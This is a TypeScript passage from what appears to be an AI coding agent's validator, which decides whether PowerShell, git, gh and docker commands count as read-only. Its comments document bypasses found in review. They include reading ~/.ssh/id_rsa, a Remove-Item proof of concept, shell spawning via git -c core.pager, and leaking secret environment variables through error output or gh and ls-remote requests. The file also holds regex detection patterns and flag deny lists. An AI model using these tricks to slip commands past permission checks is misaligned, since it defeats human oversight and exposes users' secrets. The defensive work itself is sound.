// but this gate is the linchpin β defend against parser/JSON edge cases.
if (stmt.commands.length === 0) return false
for (const cmd of stmt.commands) {
if (cmd.elementType !== 'CommandAst') return false
}
return true
}
/**
* Looks up a command in the allowlist, resolving aliases first.
* Returns the config if found, or undefined.
*/
function lookupAllowlist(name: string): CommandConfig | undefined {
const lower = name.toLowerCase()
// Direct lookup first
const direct = CMDLET_ALLOWLIST[lower]
if (direct) {
return direct
}
// Resolve alias to canonical and look up
const canonical = resolveToCanonical(lower)
if (canonical !== lower) {
return CMDLET_ALLOWLIST[canonical]
}
return undefined
}
/**
* Sync regex-based check for security-concerning patterns in a PowerShell command.
* Used by isReadOnly (which must be sync) as a fast pre-filter before the
* cmdlet allowlist check. This mirrors BashTool's checkReadOnlyConstraints
* which checks bashCommandIsSafe_DEPRECATED before evaluating read-only status.
*
* Returns true if the command contains patterns that indicate it should NOT
* be considered read-only, even if the cmdlet is in the allowlist.
*/
export function hasSyncSecurityConcerns(command: string): boolean {
const trimmed = command.trim()
if (!trimmed) {
return false
}
// Subexpressions: $(...) can execute arbitrary code
if (/\$\(/.test(trimmed)) {
return true
}
// Splatting: @variable passes arbitrary parameters. Real splatting is
// token-start only β `@` preceded by whitespace/separator/start, not mid-word.
// `[^\w.]` excludes word chars and `.` so `user@example.com` (email) and
// `file.@{u}` don't match, but ` @splat` / `;@splat` / `^@splat` do.
if (/(?:^|[^\w.])@\w+/.test(trimmed)) {
return true
}
// Member invocations: .Method() can call arbitrary .NET methods
if (/\.\w+\s*\(/.test(trimmed)) {
return true
}
// Assignments: $var = ... can modify state
if (/\$\w+\s*[+\-*/]?=/.test(trimmed)) {
return true
}
// Stop-parsing symbol: --% passes everything raw to native commands
if (/--%/.test(trimmed)) {
return true
}
// UNC paths: \\server\share or //server/share can trigger network requests
// and leak NTLM/Kerberos credentials
// eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() with atom search, short command strings
if (/\\\\/.test(trimmed) || /(?<!:)\/\//.test(trimmed)) {
return true
}
// Static method calls: [Type]::Method() can invoke arbitrary .NET methods
if (/::/.test(trimmed)) {
return true
}
return false
}
/**
* Checks if a PowerShell command is read-only based on the cmdlet allowlist.
*
* @param command - The original PowerShell command string
* @param parsed - The AST-parsed representation of the command
* @returns true if the command is read-only, false otherwise
*/
export function isReadOnlyCommand(
command: string,
parsed?: ParsedPowerShellCommand,
): boolean {
const trimmedCommand = command.trim()
if (!trimmedCommand) {
return false
}
// If no parsed AST available, conservatively return false
if (!parsed) {
return false
}
// If parsing failed, reject
if (!parsed.valid) {
return false
}
const security = deriveSecurityFlags(parsed)
// Reject commands with script blocks β we can't verify the code inside them
// e.g., Get-Process | ForEach-Object { Remove-Item C:\foo } looks like a safe pipeline
// but the script block contains destructive code
if (
security.hasScriptBlocks ||
security.hasSubExpressions ||
security.hasExpandableStrings ||
security.hasSplatting ||
security.hasMemberInvocations ||
security.hasAssignments ||
security.hasStopParsing
) {
return false
}
const segments = getPipelineSegments(parsed)
if (segments.length === 0) {
return false
}
// SECURITY: Block compound commands that contain a cwd-changing cmdlet
// (Set-Location/Push-Location/Pop-Location/New-PSDrive) alongside any other
// statement. This was previously scoped to cd+git only, but that overlooked
// the isReadOnlyCommand auto-allow path for cd+read compounds (finding #27):
// Set-Location ~; Get-Content ./.ssh/id_rsa
// Both cmdlets are in CMDLET_ALLOWLIST, so without this guard the compound
// auto-allows. Path validation resolved ./.ssh/id_rsa against the STALE
// validator cwd (e.g. /project), missing any Read(~/.ssh/**) deny rule.
// At runtime PowerShell cd's to ~, reads ~/.ssh/id_rsa.
//
// Any compound containing a cwd-changing cmdlet cannot be auto-classified
// read-only when other statements may use relative paths β those paths
// resolve differently at runtime than at validation time. BashTool has the
// equivalent guard via compoundCommandHasCd threading into path validation.
const totalCommands = segments.reduce(
(sum, seg) => sum + seg.commands.length,
0,
)
if (totalCommands > 1) {
const hasCd = segments.some(seg =>
seg.commands.some(cmd => isCwdChangingCmdlet(cmd.name)),
)
if (hasCd) {
return false
}
}
// Check each statement individually - all must be read-only
for (const pipeline of segments) {
if (!pipeline || pipeline.commands.length === 0) {
return false
}
// Reject file redirections (writing to files). `> $null` discards output
// and is not a filesystem write, so it doesn't disqualify read-only status.
if (pipeline.redirections.length > 0) {
const hasFileRedirection = pipeline.redirections.some(
r => !r.isMerging && !isNullRedirectionTarget(r.target),
)
if (hasFileRedirection) {
return false
}
}
// First command must be in the allowlist
const firstCmd = pipeline.commands[0]
if (!firstCmd) {
return false
}
if (!isAllowlistedCommand(firstCmd, command)) {
return false
}
// Remaining pipeline commands must be safe output cmdlets OR allowlisted
// (with arg validation). Format-Table/Measure-Object moved from
// SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST after security review found all
// accept calculated-property hashtables. isAllowlistedCommand runs their
// argLeaksValue callback: bare `| Format-Table` passes, `| Format-Table
// $env:SECRET` fails. SECURITY: nameType gate catches 'scripts\\Out-Null'
// (raw name has path chars β 'application'). cmd.name is stripped to
// 'Out-Null' which would match SAFE_OUTPUT_CMDLETS, but PowerShell runs
// scripts\\Out-Null.ps1.
for (let i = 1; i < pipeline.commands.length; i++) {
const cmd = pipeline.commands[i]
if (!cmd || cmd.nameType === 'application') {
return false
}
// SECURITY: isSafeOutputCommand is name-only; only short-circuit for
// zero-arg invocations. Out-String -InputObject:(rm x) β the paren is
// evaluated when Out-String runs. With name-only check and args, the
// colon-bound paren bypasses. Force isAllowlistedCommand (arg validation)
// when args present β Out-String/Out-Null/Out-Host are NOT in
// CMDLET_ALLOWLIST so any args will reject.
// PoC: Get-Process | Out-String -InputObject:(Remove-Item /tmp/x)
// β auto-allow β Remove-Item runs.
if (isSafeOutputCommand(cmd.name) && cmd.args.length === 0) {
continue
}
if (!isAllowlistedCommand(cmd, command)) {
return false
}
}
// SECURITY: Reject statements with nested commands. nestedCommands are
// CommandAst nodes found inside script block arguments, ParenExpressionAst
// children of colon-bound parameters, or other non-top-level positions.
// A statement with nestedCommands is by definition not a simple read-only
// invocation β it contains executable sub-pipelines that bypass the
// per-command allowlist check above.
if (pipeline.nestedCommands && pipeline.nestedCommands.length > 0) {
return false
}
}
return true
}
/**
* Checks if a single command element is in the allowlist and passes flag validation.
*/
export function isAllowlistedCommand(
cmd: ParsedCommandElement,
originalCommand: string,
): boolean {
// SECURITY: nameType is computed from the raw (pre-stripModulePrefix) name.
// 'application' means the raw name contains path chars (. \\ /) β e.g.
// 'scripts\\Get-Process', './git', 'node.exe'. PowerShell resolves these as
// file paths, not as the cmdlet/command the stripped name matches. Never
// auto-allow: the allowlist was built for cmdlets, not arbitrary scripts.
// Known collateral: 'Microsoft.PowerShell.Management\\Get-ChildItem' also
// classifies as 'application' (contains . and \\) and will prompt. Acceptable
// since module-qualified names are rare in practice and prompting is safe.
if (cmd.nameType === 'application') {
// Bypass for explicit safe .exe names (bash `which` parity β see
// SAFE_EXTERNAL_EXES). SECURITY: match the raw first token of cmd.text,
// not cmd.name. stripModulePrefix collapses scripts\where.exe β
// cmd.name='where.exe', but cmd.text preserves 'scripts\where.exe ...'.
const rawFirstToken = cmd.text.split(/\s/, 1)[0]?.toLowerCase() ?? ''
if (!SAFE_EXTERNAL_EXES.has(rawFirstToken)) {
return false
}
// Fall through to lookupAllowlist β CMDLET_ALLOWLIST['where.exe'] handles
// flag validation (empty config = all flags OK, matching bash's `which`).
}
const config = lookupAllowlist(cmd.name)
if (!config) {
return false
}
// If there's a regex constraint, check it against the original command
if (config.regex && !config.regex.test(originalCommand)) {
return false
}
// If there's an additional callback, check it
if (config.additionalCommandIsDangerousCallback?.(originalCommand, cmd)) {
return false
}
// SECURITY: whitelist arg elementTypes β only StringConstant and Parameter
// are statically verifiable. Everything else expands/evaluates at runtime:
// 'Variable' β `Get-Process $env:AWS_SECRET_ACCESS_KEY` expands,
// errors "Cannot find process 'sk-ant-...'", model
// reads the secret from the error
// 'Other' (Hashtable) β `Get-Process @{k=$env:SECRET}` same leak
// 'Other' (Convert) β `Get-Process [string]$env:SECRET` same leak
// 'Other' (BinaryExpr)β `Get-Process ($env:SECRET + '')` same leak
// 'SubExpression' β arbitrary code (already caught by deriveSecurityFlags
// at the isReadOnlyCommand layer, but isAllowlistedCommand
// is also called from checkPermissionMode directly)
// hasSyncSecurityConcerns misses bare $var (only matches `$(`/@var/.Method(/
// $var=/--%/::); deriveSecurityFlags has no 'Variable' case; the safeFlags
// loop below validates flag NAMES but not positional arg TYPES. File cmdlets
// (CMDLET_PATH_CONFIG) are already protected by SAFE_PATH_ELEMENT_TYPES in
// pathValidation.ts β this closes the gap for non-file cmdlets (Get-Process,
// Get-Service, Get-Command, ~15 others). PS equivalent of Bash's blanket `$`
// token check at BashTool/readOnlyValidation.ts:~1356.
//
// Placement: BEFORE external-command dispatch so git/gh/docker/dotnet get
// this too (defense-in-depth with their string-based `$` checks; catches
// @{...}/[cast]/($a+$b) that `$` substring misses). In PS argument mode,
// bare `5` tokenizes as StringConstant (BareWord), not a numeric literal,
// so `git log -n 5` passes.
//
// SECURITY: elementTypes undefined β fail-closed. The real parser always
// sets it (parser.ts:769/781/812), so undefined means an untrusted or
// malformed element. Previously skipped (fail-open) for test-helper
// convenience; test helpers now set elementTypes explicitly.
// elementTypes[0] is the command name; args start at elementTypes[1].
if (!cmd.elementTypes) {
return false
}
{
for (let i = 1; i < cmd.elementTypes.length; i++) {
const t = cmd.elementTypes[i]
if (t !== 'StringConstant' && t !== 'Parameter') {
// ArrayLiteralAst (`Get-Process Name, Id`) maps to 'Other'. The
// leak vectors enumerated above all have a metachar in their extent
// text: Hashtable `@{`, Convert `[`, BinaryExpr-with-var `$`,
// ParenExpr `(`. A bare comma-list of identifiers has none.
if (!/[$(@{[]/.test(cmd.args[i - 1] ?? '')) {
continue
}
return false
}
// Colon-bound parameter (`-Flag:$env:SECRET`) is a SINGLE
// CommandParameterAst β the VariableExpressionAst is its .Argument
// child, not a separate CommandElement, so elementTypes says 'Parameter'
// and the whitelist above passes.
//
// Query the parser's children[] tree instead of doing
// string-archaeology on the arg text. children[i-1] holds the
// .Argument child's mapped type (aligned with args[i-1]).
// Tree query catches MORE than the string check β e.g.
// `-InputObject:@{k=v}` (HashtableAst β 'Other', no `$` in text),
// `-Name:('payload' > file)` (ParenExpressionAst with redirection).
// Fallback to the extended metachar check when children is undefined
// (backward compat / test helpers that don't set it).
if (t === 'Parameter') {
const paramChildren = cmd.children?.[i - 1]
if (paramChildren) {
if (paramChildren.some(c => c.type !== 'StringConstant')) {
return false
}
} else {
// Fallback: string-archaeology on arg text (pre-children parsers).
// Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
// sub), `{` (scriptblock), `[` (type literal/static method).
const arg = cmd.args[i - 1] ?? ''
const colonIdx = arg.indexOf(':')
if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
return false
}
}
}
}
}
const canonical = resolveToCanonical(cmd.name)
// Handle external commands via shared validation
if (
canonical === 'git' ||
canonical === 'gh' ||
canonical === 'docker' ||
canonical === 'dotnet'
) {
return isExternalCommandSafe(canonical, cmd.args)
}
// On Windows, / is a valid flag prefix for native commands (e.g., findstr /S).
// But PowerShell cmdlets always use - prefixed parameters, so /tmp is a path,
// not a flag. We detect cmdlets by checking if the command resolves to a
// Verb-Noun canonical name (either directly or via alias).
const isCmdlet = canonical.includes('-')
// SECURITY: if allowAllFlags is set, skip flag validation (command's entire
// flag surface is read-only). Otherwise, missing/empty safeFlags means
// "positional args only, reject all flags" β NOT "accept everything".
if (config.allowAllFlags) {
return true
}
if (!config.safeFlags || config.safeFlags.length === 0) {
// No safeFlags defined and allowAllFlags not set: reject any flags.
// Positional-only args are still allowed (the loop below won't fire).
// This is the safe default β commands must opt in to flag acceptance.
const hasFlags = cmd.args.some((arg, i) => {
if (isCmdlet) {
return isPowerShellParameter(arg, cmd.elementTypes?.[i + 1])
}
return (
arg.startsWith('-') ||
(process.platform === 'win32' && arg.startsWith('/'))
)
})
return !hasFlags
}
// Validate that all flags used are in the allowlist.
// SECURITY: use elementTypes as ground
// truth for parameter detection. PowerShell's tokenizer accepts en-dash/
// em-dash/horizontal-bar (U+2013/2014/2015) as parameter prefixes; a raw
// startsWith('-') check misses `βComputerName` (en-dash). The parser maps
// CommandParameterAst β 'Parameter' regardless of dash char.
// elementTypes[0] is the name element; args start at elementTypes[1].
for (let i = 0; i < cmd.args.length; i++) {
const arg = cmd.args[i]!
// For cmdlets: trust elementTypes (AST ground truth, catches Unicode dashes).
// For native exes on Windows: also check `/` prefix (argv convention, not
// tokenizer β the parser sees `/S` as a positional, not CommandParameterAst).
const isFlag = isCmdlet
? isPowerShellParameter(arg, cmd.elementTypes?.[i + 1])
: arg.startsWith('-') ||
(process.platform === 'win32' && arg.startsWith('/'))
if (isFlag) {
// For cmdlets, normalize Unicode dash to ASCII hyphen for safeFlags
// comparison (safeFlags entries are always written with ASCII `-`).
// Native-exe safeFlags are stored with `/` (e.g. '/FO') β don't touch.
let paramName = isCmdlet ? '-' + arg.slice(1) : arg
const colonIndex = paramName.indexOf(':')
if (colonIndex > 0) {
paramName = paramName.substring(0, colonIndex)
}
// -ErrorAction/-Verbose/-Debug etc. are accepted by every cmdlet via
// [CmdletBinding()] and only route error/warning/progress streams β
// they can't make a read-only cmdlet write. pathValidation.ts already
// merges these into its per-cmdlet param sets (line ~1339); this is
// the same merge for safeFlags. Without it, `Get-Content file.txt
// -ErrorAction SilentlyContinue` prompts despite Get-Content being
// allowlisted. Only for cmdlets β native exes don't have common params.
const paramLower = paramName.toLowerCase()
if (isCmdlet && COMMON_PARAMETERS.has(paramLower)) {
continue
}
const isSafe = config.safeFlags.some(
flag => flag.toLowerCase() === paramLower,
)
if (!isSafe) {
return false
}
}
}
return true
}
// ---------------------------------------------------------------------------
// External command validation (git, gh, docker) using shared configs
// ---------------------------------------------------------------------------
function isExternalCommandSafe(command: string, args: string[]): boolean {
switch (command) {
case 'git':
return isGitSafe(args)
case 'gh':
return isGhSafe(args)
case 'docker':
return isDockerSafe(args)
case 'dotnet':
return isDotnetSafe(args)
default:
return false
}
}
const DANGEROUS_GIT_GLOBAL_FLAGS = new Set([
'-c',
'-C',
'--exec-path',
'--config-env',
'--git-dir',
'--work-tree',
// SECURITY: --attr-source creates a parser differential. Git treats the
// token after the tree-ish value as a pathspec (not the subcommand), but
// our skip-by-2 loop would treat it as the subcommand:
// git --attr-source HEAD~10 log status
// validator: advances past HEAD~10, sees subcmd=log β allow
// git: consumes `log` as pathspec, runs `status` as the real subcmd
// Verified with `GIT_TRACE=1 git --attr-source HEAD~10 log status` β
// `trace: built-in: git status`. Reject outright rather than skip-by-2.
'--attr-source',
])
// Git global flags that accept a separate (space-separated) value argument.
// When the loop encounters one without an inline `=` value, it must skip the
// next token so the value isn't mistaken for the subcommand.
//
// SECURITY: This set must be COMPLETE. Any value-consuming global flag not
// listed here creates a parser differential: validator sees the value as the
// subcommand, git consumes it and runs the NEXT token. Audited against
// `man git` + GIT_TRACE for git 2.51; --list-cmds is `=`-only, booleans
// (-p/--bare/--no-*/--*-pathspecs/--html-path/etc.) advance by 1 via the
// default path. --attr-source REMOVED: it also triggers pathspec parsing,
// creating a second differential β moved to DANGEROUS_GIT_GLOBAL_FLAGS above.
const GIT_GLOBAL_FLAGS_WITH_VALUES = new Set([
'-c',
'-C',
'--exec-path',
'--config-env',
'--git-dir',
'--work-tree',
'--namespace',
'--super-prefix',
'--shallow-file',
])
// Git short global flags that accept attached-form values (no space between
// flag letter and value). Long options (--git-dir etc.) require `=` or space,
// so the split-on-`=` check handles them. But `-ccore.pager=sh` and `-C/path`
// need prefix matching: git parses `-c<name>=<value>` and `-C<path>` directly.
const DANGEROUS_GIT_SHORT_FLAGS_ATTACHED = ['-c', '-C']
function isGitSafe(args: string[]): boolean {
if (args.length === 0) {
return true
}
// SECURITY: Reject any arg containing `$` (variable reference). Bare
// VariableExpressionAst positionals reach here as literal text ($env:SECRET,
// $VAR). deriveSecurityFlags does not gate bare Variable args. The validator
// sees `$VAR` as text; PowerShell expands it at runtime. Parser differential:
// git diff $VAR where $VAR = '--output=/tmp/evil'
// β validator sees positional '$VAR' β validateFlags passes
// β PowerShell runs `git diff --output=/tmp/evil` β file write
// This generalizes the ls-remote inline `$` guard below to all git subcommands.
// Bash equivalent: BashTool blanket
// `$` rejection at readOnlyValidation.ts:~1352. isGhSafe has the same guard.
for (const arg of args) {
if (arg.includes('$')) {
return false
}
}
// Skip over global flags before the subcommand, rejecting dangerous ones.
// Flags that take space-separated values must consume the next token so it
// isn't mistaken for the subcommand (e.g. `git --namespace foo status`).
let idx = 0
while (idx < args.length) {
const arg = args[idx]
if (!arg || !arg.startsWith('-')) {
break
}
// SECURITY: Attached-form short flags. `-ccore.pager=sh` splits on `=` to
// `-ccore.pager`, which isn't in DANGEROUS_GIT_GLOBAL_FLAGS. Git accepts
// `-c<name>=<value>` and `-C<path>` with no space. We must prefix-match.
// Note: `--cached`, `--config-env`, etc. already fail startsWith('-c') at
// position 1 (`-` β `c`). The `!== '-'` guard only applies to `-c`
// (git config keys never start with `-`, so `-c-key` is implausible).
// It does NOT apply to `-C` β directory paths CAN start with `-`, so
// `git -C-trap status` must reject. `git -ccore.pager=sh log` spawns a shell.
for (const shortFlag of DANGEROUS_GIT_SHORT_FLAGS_ATTACHED) {
if (
arg.length > shortFlag.length &&
arg.startsWith(shortFlag) &&
(shortFlag === '-C' || arg[shortFlag.length] !== '-')
) {
return false
}
}
const hasInlineValue = arg.includes('=')
const flagName = hasInlineValue ? arg.split('=')[0] || '' : arg
if (DANGEROUS_GIT_GLOBAL_FLAGS.has(flagName)) {
return false
}
// Consume the next token if the flag takes a separate value
if (!hasInlineValue && GIT_GLOBAL_FLAGS_WITH_VALUES.has(flagName)) {
idx += 2
} else {
idx++
}
}
if (idx >= args.length) {
return true
}
// Try multi-word subcommand first (e.g. 'stash list', 'config --get', 'remote show')
const first = args[idx]?.toLowerCase() || ''
const second = idx + 1 < args.length ? args[idx + 1]?.toLowerCase() || '' : ''
// GIT_READ_ONLY_COMMANDS keys are like 'git diff', 'git stash list'
const twoWordKey = `git ${first} ${second}`
const oneWordKey = `git ${first}`
let config: ExternalCommandConfig | undefined =
GIT_READ_ONLY_COMMANDS[twoWordKey]
let subcommandTokens = 2
if (!config) {
config = GIT_READ_ONLY_COMMANDS[oneWordKey]
subcommandTokens = 1
}
if (!config) {
return false
}
const flagArgs = args.slice(idx + subcommandTokens)
// git ls-remote URL rejection β ported from BashTool's inline guard
// (src/tools/BashTool/readOnlyValidation.ts:~962). ls-remote with a URL
// is a data-exfiltration vector (encode secrets in hostname β DNS/HTTP).
// Reject URL-like positionals: `://` (http/git protocols), `@` + `:` (SSH
// git@host:path), and `$` (variable refs β $env:URL reaches here as the
// literal string '$env:URL' when the arg's elementType is Variable; the
// security-flag checks don't gate bare Variable positionals passed to
// external commands).
if (first === 'ls-remote') {
for (const arg of flagArgs) {
if (!arg.startsWith('-')) {
if (
arg.includes('://') ||
arg.includes('@') ||
arg.includes(':') ||
arg.includes('$')
) {
return false
}
}
}
}
if (
config.additionalCommandIsDangerousCallback &&
config.additionalCommandIsDangerousCallback('', flagArgs)
) {
return false
}
return validateFlags(flagArgs, 0, config, { commandName: 'git' })
}
function isGhSafe(args: string[]): boolean {
// gh commands are network-dependent; only allow for ant users
if (process.env.USER_TYPE !== 'ant') {
return false
}
if (args.length === 0) {
return true
}
// Try two-word subcommand first (e.g. 'pr view')
let config: ExternalCommandConfig | undefined
let subcommandTokens = 0
if (args.length >= 2) {
const twoWordKey = `gh ${args[0]?.toLowerCase()} ${args[1]?.toLowerCase()}`
config = GH_READ_ONLY_COMMANDS[twoWordKey]
subcommandTokens = 2
}
// Try single-word subcommand (e.g. 'gh version')
if (!config && args.length >= 1) {
const oneWordKey = `gh ${args[0]?.toLowerCase()}`
config = GH_READ_ONLY_COMMANDS[oneWordKey]
subcommandTokens = 1
}
if (!config) {
return false
}
const flagArgs = args.slice(subcommandTokens)
// SECURITY: Reject any arg containing `$` (variable reference). Bare
// VariableExpressionAst positionals reach here as literal text ($env:SECRET).
// deriveSecurityFlags does not gate bare Variable args β only subexpressions,
// splatting, expandable strings, etc. All gh subcommands are network-facing,
// so a variable arg is a data-exfiltration vector:
// gh search repos $env:SECRET_API_KEY
// β PowerShell expands at runtime β secret sent to GitHub API.
// git ls-remote has an equivalent inline guard; this generalizes it for gh.
// Bash equivalent: BashTool blanket `$` rejection at readOnlyValidation.ts:~1352.
for (const arg of flagArgs) {
if (arg.includes('$')) {
return false
}
}
if (
config.additionalCommandIsDangerousCallback &&
config.additionalCommandIsDangerousCallback('', flagArgs)
) {
return false
}
return validateFlags(flagArgs, 0, config)
}
function isDockerSafe(args: string[]): boolean {
if (args.length === 0) {
return true
}
// SECURITY: blanket PowerShell `$` variable rejection. Same guard as
// isGitSafe and isGhSafe. Parser differential: validator sees literal
// '$env:X'; PowerShell expands at runtime. Runs BEFORE the fast-path
// return β the previous location (after fast-path) never fired for
// `docker ps`/`docker images`. The earlier comment claiming those take no
// --format was wrong: `docker ps --format $env:AWS_SECRET_ACCESS_KEY`
// auto-allowed, PowerShell expanded, docker errored with the secret in
// its output, model read it. Check ALL args, not flagArgs β args[0]
// (subcommand slot) could also be `$env:X`. elementTypes whitelist isn't
// applicable here: this function receives string[] (post-stringify), not
// ParsedCommandElement; the isAllowlistedCommand caller applies the
// elementTypes gate one layer up.
for (const arg of args) {
if (arg.includes('$')) {
return false
}
}
const oneWordKey = `docker ${args[0]?.toLowerCase()}`
// Fast path: EXTERNAL_READONLY_COMMANDS entries ('docker ps', 'docker images')
// have no flag constraints β allow unconditionally (after $ guard above).
if (EXTERNAL_READONLY_COMMANDS.includes(oneWordKey)) {
return true
}
// DOCKER_READ_ONLY_COMMANDS entries ('docker logs', 'docker inspect') have
// per-flag configs. Mirrors isGhSafe: look up config, then validateFlags.
const config: ExternalCommandConfig | undefined =
DOCKER_READ_ONLY_COMMANDS[oneWordKey]
if (!config) {
return false
}
const flagArgs = args.slice(1)
if (
config.additionalCommandIsDangerousCallback &&
config.additionalCommandIsDangerousCallback('', flagArgs)
) {
return false
}
return validateFlags(flagArgs, 0, config)
}
function isDotnetSafe(args: string[]): boolean {
if (args.length === 0) {
return false
}
// dotnet uses top-level flags like --version, --info, --list-runtimes
// All args must be in the safe set
for (const arg of args) {
if (!DOTNET_READ_ONLY_FLAGS.has(arg.toLowerCase())) {
return false
}
}
return true
}